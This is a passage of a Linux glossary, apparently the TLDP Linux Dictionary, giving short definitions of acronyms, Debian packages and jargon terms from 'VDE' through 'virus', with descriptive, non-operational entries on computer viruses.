Virtual Display Driver From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

VDE

Verband Deutscher Elektrotechniker [e.v.] (org.) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

vdesk

manages virtual desktops for minimal window managers vdesk takes the task of managing virtual desktops away from the window manager and implements an easy to use interface to those desktops. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

VDI

Verein Deutscher Ingenieure (org.) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

VDI

Video Device Interface (Intel) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

VDI

Virtual Device Interface From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

VDIF

VESA Display Information File (VESA) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

vdiff

/vee'dif/ v.,n. Visual diff. The operation of finding differences between two files by eyeball search. The term `optical diff' has also been reported, and is sometimes more specifically used for the act of superimposing two nearly identical printouts on one another and holding them up to a light to spot differences. Though this method is poor for detecting omissions in the `rear' file, it can also be used with printouts of graphics, a claim few if any diff programs can make. See diff. An interesting variant of the vdiff technique usable by anyone who has sufficient control over the parallax of their eyeballs (e.g. those who can easily view random−dot stereograms), is to hold up two paper printouts and go cross−eyed to superimpose them. This invokes deep, fast, built−in image comparison wetware (the same machinery responsible for depth perception) and differences stand out almost immediately. This technique is good for finding edits in graphical images, or for comparing an image with a compressed version to spot artifacts.<p> From Jargon Dictionary http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

vdir

list directory contents From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

vdkbuilder

RAD for VDK VDK Builder is a clone of C++ Builder. Builder's main features are: * Project Manager * GUI designer * Text Editor * Widget Inspector * generates VDK code * plugin extensions This package contains the executable. The plugins bundled with vdkbuilder are in libvdkbuilder and libvdkbuilder−dev packages. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

VDM

Virtual DOS Machine (OS/2, Windows NT, DOS) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

VDMA

Virtual Direct Memory Access (DMA) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

VDMAD

Virtual Direct Memory Access Device (VDMA, DMA) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

vdr

Video Disk Recorder for DVB−S cards, base package Video Disk Recorder (VDR) is a digital sat−receiver program using Linux and DVB−S technologies. It allows one to record MPEG2 streams, as well as output the stream to TV. It is also possible to watch DVDs (hardware accelerated) with some comfort and use a IR remote control. This package contains files shared by different VDR versions and frontends. NOTE: You should install compatible DVB drivers before using these programs. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

vdr−daemon

Server version of Video Disk Recorder for DVB−S cards Video Disk Recorder (VDR) is a digital sat−receiver program using Linux and DVB−S technologies. It allows one to record MPEG2 streams, as well as output the stream to TV. It is also possible to watch DVDs with some comfort and hardware acceleration. This package contains a VDR version without any direct control capabilities. Instead, it opens a control port and other programs like kvdr (from the kvdr package) can connect to the vdr−daemon and use it. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

vdr−kbd

Video Disk Recorder for DVB−S cards with keyboard control Video Disk Recorder (VDR) is a digital sat−receiver program using Linux and DVB−S technologies. It allows one to record MPEG2 streams, as well as output the stream to TV. It is also possible to watch DVDs with some comfort and hardware acceleration. This package contains the vdr−kbd program which is controlled via the PC keyboard. There are also vdr−rcu and vdr−lirc packages which contain another VDR versions using RCU or infrared remote control. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

vdr−lirc

Video Disk Recorder for DVB−S cards with IR remote control Video Disk Recorder (VDR) is a digital sat−receiver program using Linux and DVB−S technologies. It allows one to record MPEG2 streams, as well as output the stream to TV. It is also possible to watch DVDs with some comfort and hardware acceleration. This package contains the vdr−lirc program which is controlled via a IR remote control. There are also vdr−kbd and vdr−rcu packages which contain another VDR versions using keyboard/rcu control. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

vdr−rcu

Video Disk Recorder for DVB−S cards with RCU control Video Disk Recorder (VDR) is a digital sat−receiver program using Linux and DVB−S technologies. It allows one to record MPEG2 streams, as well as output the stream to TV. It is also possible to watch DVDs with some comfort and hardware acceleration. This package contains the vdr−kbd program which is controlled via the the "Remote Control Unit". There are also vdr−kbd and vdr−lirc packages which contain another VDR versions using PC keyboard or infrared remote control. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

VDS

Virtual DMA Services (DMA) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

VDSL

Very high data / bit rate Digital Subscriber Line (DSL) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

VDT

Video Display Terminal From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

VDU

Visual Display Unit From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

VDV
: Vorbestellte DauerwaehlVerbindung (Telekom) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

VE
: Virtual Environment (VR) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

VEC
: Virtual Embedded Circuitry (IC) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

VectorLinux
: VECTORLINUX is a small, fast, Intel based Linux operating system for PC style computers. The creators of VECTORLINUX had a single credo: keep it simple, keep it small and let the end user decide what their operating system is going to be. Version 2.5 was released April 2, 2002. A beta named SOHO was announced as an iso only, July 29, 2002. SOHO 1.0 was released August 20, 2002. SOHO 3.2 was released March 19, 2003. VectorLinux 3.2 was released February 6, 2003. A small disk distribution. From LWN Distribution List http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

vectoroids
: vector−based rock−shooting "Vectoroids" is a vector−based rock−shooting game similar to the arcade classic "Asteroids." Pilot a spaceship and destroy asteroids by shooting them into smaller and smaller pieces while trying to avoid being smashed or shot by UFOs. "Vectoroids" is an SDL game based on the source for "Agendaroids," an X−Window game written for the Agenda VR3 Linux−based PDA written by the same author. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

Vedova Linux
: Vedova Linux is currently at version 3.0, and Vedova Software also has Mandrake 8.1 and DemoLinux 3.0 available in boxed sets. Presumably in Italian. From LWN Distribution List http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

VEG
: Very Evil Grin (slang, Usenet, IRC) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

VERA
: Just playing around, huh? From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

vera
: List of computer acronyms This is GNU version 1.8 of V.E.R.A., a list dealing with computational acronyms. It comes as one info file. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

verbose
: An optional mode when running a program that will display varying levels of status messages as it is processing. From Redhat−9−Glossary http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

verilog
: Icarus verilog compiler The Icarus verilog compiler for the verilog hardware description language. The compiler can target either simulation, or netlist (XNF). From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

verilog−mode
: Emacs mode for verilog language This is a major mode for verilog, a hardware description language. This mode provide automatic indentation, keyword completion, interactive editing and more. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

VERNET
: Virginia Educational Research NETwork (network, USA), "VERnet" From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

Veronica

A computer program that helps Internauts find what they are looking for on gopher servers around the world. Instead of looking through menus, Veronica allows users to enter keywords to locate the gopher site that holds the information they want. Gopher to
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

Veronica

A program to track down information from Gopher databases. From KADOWKEV
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

VERONICA

Very Easy Rodent−Orientated Netwide Index of Computerized Archives (Internet) From VERA
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

Veronica (Very Easy Rodent Oriented Net−wide Index to Computerized Archives)

Developed at the University of Nevada, Veronica was a constantly updated database of the names of almost every menu item on thousands of gopherservers. The Veronica database could be searched from most major gophermenus. Now made obsolete by web−bases search engines. From Matisse
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

VERP

Variable Envelope Return Path (SMTP) From VERA
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

verse

Daily Devotional Verse from KJV Bible Verse displays a Bible Verse on each login. A verse from the King James Version of the Bible is assigned to each day. From Debian 3.0r0 APT
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

version

A revision of software or hardware as specified by a name or value assigned by the vendor, such as Red Hat Linux 8.0. From Redhat−9−Glossary
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

VERSION

Version information of the package. From Rute−Users−Guide
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

Version 7 alt. V7

/vee' se'vn/ n. The first widely distributed version of Unix, released unsupported by Bell Labs in 1978. The term is used adjectivally to describe Unix features and programs that date from that release, and are thus guaranteed to be present and portable in all Unix versions (this was the standard gauge of portability before the POSIX and IEEE 1003 standards). Note that this usage does not derive from the release being the "seventh version of Unix"; research Unix at Bell Labs has traditionally been numbered according to the edition of the associated documentation. Indeed, only the widely−distributed Sixth and Seventh Editions are widely known as V[67]; the OS that might today be known as `V10' is instead known in full as "Tenth Edition Research Unix" or just "Tenth Edition" for short. For this reason, "V7" is often read by cognoscenti as "Seventh Edition". See BSD, USG Unix, Unix. Some old−timers impatient with commercialization and kernel bloat still maintain that V7 was the Last True Unix. From Jargon Dictionary
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

vertex

a GTK+OpenGL 3D modeller Vertex is a 3D modeller designed specifically for generating efficient models for (but not limited to) games and applications using OpenGL's style of graphics rendering. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

VESA

Video Electronics Standards Association (org.) From VERA
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

VEST

VAX Environment Software Translator (VAX, DEC) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

VFAT
: See virtual file allocation table (VFAT). From Redhat−9−Glossary http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

VFAT
: Virtual File Allocation Table (MS, Windows 95) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

VFC
: V. Fast Class (MODEM), "V.FC" From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

vfdata−morisawa5
: Font files for Morisawa Basic−5 type faces for pTeX Contains VF/TFM files for Ryumin−Light, GothicBBB−Medium, FutoMinA101−Bold, FutoGoB101−Bold and Jun101−Light. It will be easy to use morisawa.sty of okumura−clsfiles if you wish to use these fonts in pTeX. For dvips: you should add "p +morisawa.map" in your config.ps or an appropriate config.foo and you could do this with "morisawa−config add" or "morisawa−config add config.foo" at present. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

VFEA
: VMEbus Futurebus+ Extended Architecture From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

VFIR
: Very Fast IRDA (IRDA) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

vflib2
: Vector Font Library for Japanese Character Code. VFlib2 is a font library written in C providing several functions to obtain bitmaps of characters. VFlib hides the font format of font files and provides a unified API for all supported font formats. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

VFlib2
: VFlib is a font library written in C which converts vector fonts to bitmap data. Functions provided in VFlib include rotating, shrinking,and changing the slant of characters. VFlib provides a unified API forall supported font formats; any software using VFlib can use any of the supported font file formats immediately. VFlib is used by localized software for Japanese document processing thatrequires Kanji fonts (for example xdvi, dvi2ps, and Ghostscript). From Redhat 8.0 RPM http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

vflib2−misc
: Miscelanious tools for VFlib2 library. VFlib2 is a font library written in C providing several functions to obtain bitmaps of characters. VFlib hides the font format of font files and provides a unified API for all supported font formats. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

vflib3
: Versatile Font Library VFlib3 is a font rasterizer library for multi−lingual information processing. Using VFlib3, you can obtain bitmap data of characters(glyphs) from various fonts in a unified manner. VFlib3 can handle almost all font formats available − it now supports PK, GF, VF, TFM, OFM level 0, OVF, PCF, BDF, HBF, Syotai−Club, JG, eKanji and more. TrueType and Type 1 fonts are also supported via FreeType1 and T1lib respectively. Font search via kpathsea is supported, too. This package contains the shared library and configuration files needed to run programs using VFlib3. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

vflib3−bin
: Sample programs using VFlib3 VFlib3 is a font rasterizer library for multi−lingual information processing. Using VFlib3, you can obtain bitmap data of characters(glyphs) from various fonts in a

unified manner. VFlib3 can handle almost all font formats available − it now supports PK, GF, VF, TFM, OFM level 0, OVF, PCF, BDF, HBF, Syotai−Club, JG, eKanji and more. TrueType and Type 1 fonts are also supported via FreeType1 and T1lib respectively. Font search via kpathsea is supported, too. This package contains a few sample programs that come with VFlib3. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

VFS

Virtual File System [layer] (Unix, Linux, OSF/1) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

VFS

Virtual File System. It's the abstraction layer between the user and real filesystems like ext2, minix and msdos. Amongst other things, its job is to flush the read buffer when it detects a disk change on the floppy disk drive. From Linux Guide @FirstLinux http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

vftool

a tool to generate VF files for dvi2ps/dvi2dvi You can use PostScript fonts and/or TrueType fonts etc. in your TeX files with the VF files generated by vftool. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

vftovp

convert virtual font (vf) files to virtual property lists (vpl) From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

vfu

A versatile text−based filemanager vfu is a nice filemanager using the ncurses library. It has many nice features: * Fast one−key commands * Filename completition and wildcard expansion * Directory tree with sizes * File−type colorization * Archives support (TAR, TGZ, BZ2, and many more) * FTP support through archive−like interface * Internal text/hex file viewer and hex editor * Automount feature * Extensive user−defined external support/utils! From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

VFW

Video fuer Windows (MS), "VfW" From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

VG

Volume Group (LVM) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

VGA

Video Graphics Array (IBM) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

vgabios

VGA BIOS software for the Plex86 and Bochs emulated VGA card The goal of this project is to provide a Video BIOS for Plex86 and Bochs. This VGA BIOS is very specific to the plex86/bochs emulated VGA card. It is NOT meant to drive a physical vga card. You will probably fry it if you try. You have been warned. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

vgacardgames

Four SVGAlib card games A collection of the card games Oh Hell!, Spider, Klondike and another solitaire game. They use a mouse and svgalib in the VGA mode 640x480x16. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

vgagamespack

SVGAlib games ConnectN, Othello, and Mines This package includes clones of these popular games that work under SVGAlib. (mouse highly recommended) From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

VGB

Virtual GameBoy From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

VGDA

Volume Group Descriptor Area (AIX, LVM, IBM) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

VGF

100VoiceGrade anylan Forum (manufacturer) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

VGI

Virtual Graphics Interface From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

vgrabbj

grabs a image from a camera and puts it in jpg/png format vgrabbj is a program that will grab an image from a v4l compatible device (usually a webcam of some sort) and save it in a jpg or png file, with options given on the command line to imprint a label onto the image. It only works on v4l devices that can be set to 24−bit mode. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

vgrep

/vee'grep/ v.,n. Visual grep. The operation of finding patterns in a file optically rather than digitally (also called an `optical grep'). See grep; compare vdiff. From Jargon Dictionary http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

vgrind

Runoff preprocessor for program sources Vgrind formats the program sources which are arguments in a nice style using groff(1). Comments are placed in italics, keywords in bold face, and the name of the current function is listed down the margin of each page as it is encountered. Vgrind runs in two basic modes, filter mode (see the −f option) or regu− lar mode. In filter mode vgrind acts as a filter in a manner similar to tbl(1). From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

vh

Volks−hypertext browser Designed for use with the Jargon File but useful for lexicons in general (lighter−weight than WWW, fast search). From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

VHDCI

Very High Density Cable Interconnect (SCSI) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

VHDL

VHSIC Hardware Description Language (ASIC) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

VHF

Very High Frequency From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

VHRCD

Very High Resolution Color Display From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

VHSIC

Very High Speed Integrated Circuit From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

vi

/V−I/, not /vi:/ and never /siks/ n. [from `Visual Interface'] A screen editor crufted together by Bill Joy for an early BSD release. Became the de facto standard Unix editor and a nearly undisputed hacker favorite outside of MIT until the rise of EMACS after about 1984. Tends to frustrate new users no end, as it will neither take commands while expecting input text nor vice versa, and the default setup on older versions provides no indication of which mode the editor is in (years ago, a correspondent reported that he has often heard the editor's name pronounced /vi:l/; there is now a vi clone named `vile'). Nevertheless vi (and variants such as vim and elvis) is still widely used (about half the respondents in a 1991 Usenet poll preferred it), and even EMACS fans often resort to it as a mail editor and for small editing jobs (mainly because it starts up faster than the bulkier versions of EMACS). See holy wars. From Jargon Dictionary http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

vi
: On UNIX, the vi program is a small text editor that can be run from the command−line. It can even be run in ed/ex mode that runs in line−mode rather than full−screen mode. Since vi is included on every UNIX system, this is the one program that all hackers learn to use. (More advanced editors like emacs may not be installed on a system that a hacker breaks into, leaving them out of luck if they don't know vi). From Hacking−Lexicon http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

VIAD
: VESA Image Area Definition (VESA) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

vibrant6
: NCBI libraries for graphic biology applications This is the library for those who just want to run Vibrant applications. It also includes a wrapper (vibrate) that allows many NCBI applications to provide a GUI for selecting options. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

VIC
: V.35 Interface Cable (cable) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

VIC
: Vendor Independent ??? (VIM) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

vic
: Video Conferencing Tool VIC is a Video Conferencing tool that will let you watch videos using IP multicast. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

vice
: The Versatile Commodore Emulator VICE emulates well the hardware of the Commodore Business Machines of the pre−Amiga era. Supported are the various Pets, the VIC−20, the Commodore 64 and (incompletely) the Commodore 128. This package does not contain the various ROM images needed to actually use the emulators but includes a script which will attempt to download them from a number of well−known locations. The legal status of the ROM images is currently unknown; VICE itself is unencumbered. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

VICE
: VersatIle Commodore Emulator From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

VICI
: Visual Interface ConsortIum (org.) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

vicq
: A simple, Perl−based ICQ client. vICQ is simple ICQ client written in Perl with the look and feel of mICQ, which supports ICQv7 TCP protocol. Its features include: * Sending messages * Receiving messages * Invisible handling * Receiving contacts and contacts request * Receiving URL messages * Receiving offline messages off all types (well, almost all) * Receiving auth requests * Sending

authorization * Coloring * koi8−r and koi8−u support * UIN info obtaining * SMS sending * Event external hooks * Sounds * Autocompletion * White Pages search * White Pages basic info editing From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

VID
: Voltage IDentification From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

vide
: IDE for C++ and Java based on the V GUI VIDE is a Integrated Development Environment developed using V. It works with the GNU g++ compiler and Sun's JDK for Java. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

video card
: A system component that enables a computer to output information to a display such as a monitor. From Redhat−9−Glossary http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

videogen
: Create arbitrary−res modelines using hardware parameters Videogen is a small but nice utility to create modelines you can insert into your XF86Config(−4) and fb.modes files. Modeline is created by telling the program the resolution you want and your video hardware parameters (maximum video adapter bandwidth, maximum HCF and VCF of the monitor etc). The tool some_modes.sh is provided which may help you to create some common modes very fast. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

videotex
: n. obs. An electronic service offering people the privilege of paying to read the weather on their television screens instead of having somebody read it to them for free while they brush their teeth. The idea bombed everywhere it wasn't government−subsidized, because by the time videotex was practical the installed base of personal computers could hook up to timesharing services and do the things for which videotex might have been worthwhile better and cheaper. Videotex planners badly overestimated both the appeal of getting information from a computer and the cost of local intelligence at the user's end. Like the gorilla arm effect, this has been a cautionary tale to hackers ever since. See also vannevar. From Jargon Dictionary http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

VIDL
: VIrus Description Language, "ViDL" From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

vidmode
: query/set image root device, RAM disk size, or video mode From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

view
: Vi IMproved, a programmers text editor From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

view3ds
: Simple viewer for 3D Studio files This is simple realtime 3DS file previewer based on the lib3ds library by J.E. Hoffmann. It won't display any 3DS model, but it can properly display 3DS scenes. lib3ds was developed as part of the support libraries for FAMP, the Free Animation and Modeling Project (http://famp.sourceforge.net/) From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

viewcvs
: Viewing CVS Repositories via HTTP The ViewCVS software was inspired by cvsweb (by Henner Zeller). ViewCVS can browse directories, commit−logs, and specific revisions of files. It can display diffs between versions and show selections of files based on tags or branches. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

viewmol

A graphical front end for computational chemistry programs. VIEWMOL is a graphical front end for computational chemistry programs. It is able to graphically aid in the generation of molecular structures for computations and to visualize their results. The program's capabilities include: − Building and editing of molecules − Visualization of the geometry of a molecule − Tracing of a geometry optimization or a MD trajectory − Animation of normal vibrations or to show them as arrows − Drawing of IR, Raman, and inelastic neutron scattering spectra − Drawing of an MO energy level or density of states diagram − Drawing of basis functions, molecular orbitals, and electron densities − Display of forces acting on each atom in a certain configuration − Display of Miller planes in crystals − Calculation of thermodynamic properties for molecules and reactions − Drawings generated by VIEWMOL can be saved as TIFF, HPGL, or − PostScript files − Animations of normal modes can be converted to a video file (MPEG), − e. g. for inclusion into World Wide Web documents (requires − additional programs available on the Internet) − Interface to the freeware ray tracing program RAYSHADE (input − file generation and use of RAYSHADE from within VIEWMOL) − Input and output in a variety of formats, new formats can be − added easily by the user VIEWMOL includes a Python interpreter for automation. At present VIEWMOL includes input filters for DISCOVER, DMOL, GAMESS, GAUSSIAN 9X, GULP, MOPAC, and TURBOMOLE outputs as well as for PDB files (VIEWMOL is therefore suited as a viewer for structural data on the World Wide Web). Structures can be saved as MSI car−files, MDL files, and TURBOMOLE coordinate files. VIEWMOL's file format has been added to BABEL so that BABEL can serve as an input as well as an output filter for coordinates. VIEWMOL supports a space ball as input device. VI Improved (VI, Unix) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

vim

Vi IMproved − enhanced vi editor Vim is an almost compatible version of the UNIX editor Vi. Many new features have been added: multi level undo, syntax highlighting, command line history, on−line help, filename completion, block operations, folding, unicode support, etc. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

VIM

Vim stands for 'Vi Improved'. Vi is one of the most popular and powerful editors in the Unix world. Vi is an abbreviation for "Visual" editor. One of the first editors was a line editor called 'ed' (and 'ex'). The Visual editor like Vi was a vast improvement over line editors like 'ed' (or 'ex'). The editors 'ed' and 'ex' are still available on Linux: see 'man ed' and 'man ex'. A good editor improves programmer productivity. Vim supports color syntax highlighting of program code and also emphasises text using different fonts like normal, bold or italics. A color editor like Vim can improve the productivity of programmers by 2 to 3 times!! Programmers can read the code much more rapidly as the code syntax is colored and highlighted. From VIM−HOWTO http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

vimdiff

edit two or three versions of a file with Vim and show differences From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

virtual
adj. [via the technical term `virtual memory', prob. from the term `virtual image' in optics] 1. Common alternative to logical; often used to refer to the artificial objects (like addressable virtual memory larger than physical memory) simulated by a computer system as a convenient way to manage access to shared resources. 2. Simulated; performing the functions of something that isn't really there. An imaginative child's doll may be a virtual playmate. Oppose real. From Jargon Dictionary http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

virtual console
Virtual device that provides interactive access with which a user may log in and run system commands and programs. One screen is displayed on the computer's monitor at any given time; a keystroke sequence is used to switch between virtual consoles. From Redhat−9−Glossary http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

Virtual Desktop
A method for expanding the user's workspace beyond the boundaries of the computer screen. The desktop may be scrollable left and right, up and down, as if a larger desktop were positioned behind the glass screen and moved around to reveal icons, windows and other objects that were 'off−stage', or

out of view. Alternatively, as with the KDE desktop, multiple buttons may be available, each of which displays an area of desktop equal to the size of the glass screen and which can each contain different objects. From I−gloss http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

virtual desktop
A way of reducing clutter on your screen by expanding the available space beyond the actual screen boundaries. From Linux Guide @FirstLinux http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

virtual file allocation table (VFAT)
The file system used in older Windows operating systems, such as Windows 95. Linux supports VFAT file access. From Redhat−9−Glossary http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

Virtual Hosting
Virtualhosting is the use of a single web server to serve the web pages of multiple domains. Although the web server seems to be connecting to a web site that is an isolated entry, that web site may be in fact be hosted alongside many others on the same machine. From Rute−Users−Guide http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

Virtual Linux
Virtual Linux is based on Mandrake 8.1, modified to run from CDROM. Modifications include a new startup script, automatic search and mount of CDROM drive, and cloop compression. The CD contains 1.7 GB of software. Version 1.1 was released May 4, 2002. A CD−based distribution. From LWN Distribution List http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

Virtual Machine
Virtual Machines (VMs) are features of central processor chips that isolate an area of memory from the rest of the system. Because operating systems and applications run in a "protected mode" environment, if a program freezes in one Virtual Machine it will not affect the operation of the programs and operating systems running outside of that Virtual Machine. From I−gloss http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

virtual memory
A memory−management technique that enables programs to appear to utilize more memory than is physically available. From Linux Guide @FirstLinux http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

Virtual Memory
The process of using a portion of disk space as a temporary storage area for memory. Synonymous with Swap. From I−gloss http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

virtual private network (VPN)
A network that securely connects disparate computer systems to each other over insecure carrier networks such as the Internet. From Redhat−9−Glossary http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

virtual reality
n. 1. Computer simulations that use 3−D graphics and devices such as the Dataglove to allow the user to interact with the simulation. See cyberspace. 2. A form of network interaction incorporating aspects of role−playing games, interactive theater, improvisational comedy, and `true confessions' magazines. In a virtual reality forum (such as Usenet's alt.callahans newsgroup or the MUD experiments on Internet), interaction between the participants is written like a shared novel complete with scenery, `foreground characters' that may be personae utterly unlike the people who write them, and common `background characters' manipulable by all parties. The one iron law is that you may not write irreversible changes to a character without the consent of the person who `owns' it. Otherwise anything goes. See bamf, cyberspace, teledildonics. From Jargon Dictionary http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

Virus

A chunk of computer programming code that makes copies of itself without any concious human intervention. Some viruses do more than simply replicate themselves, they might display messages, install other software or files, delete software of files, etc. A virus requires the presence of some other program to replicate itself. Typically viruses spread by attaching themselves to programs and in some cases files, for example the file formats for Microsoft word processor and spreadsheet programs allow the inclusion of programs called "macros" which can in some cases be a breeding ground for viruses. From Matisse http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

virus

A virus is a program (or a fragment of code) that replicates by attaching a copy of itself to other programs. For a virus to be activated, the software it infects must first be run. Analogy: A biological virus is not a "living" thing. Instead, it is simply a strand of DNA. When it enters a living cell, it takes control of the cell forcing it to generate duplicate copies of the original DNA strand. In much the same way, a computer virus hijacks the computer forcing it to generate duplicate copies of the original virus. Computer viruses are so common because humans do not practice sufficient cyber−hygiene when exchanging files. Key point: An "anti−virus" programs scans the disks on your system hunting down those files that have signatures indicative of infected files. Since file−scanning technology is generic, most anti−virus programs also scan for other hostile content, such as trojans. Contrast: The popular use of the word "virus" means any form of malware. For example, in the movie Office Space, the protagonists write what is called a "virus" that runs in the banking mainframe to steal round−off errors. In contrast, the technical definition limits itself to just those forms of contagious malware that spreads by infecting other programs. Key point: Viruses have a life cycle from the point they are originally created, distributed, found by anti−virus programs, then eradicated. They also mutate as script kiddies take viruses, make small alteration that avoids current virus scanners, and redistribute the viruses. Example: boot sector Historically, the most popular kind of virus, though becoming less popular as floppies are used less often. E.g. Form Virus macro virus Data files 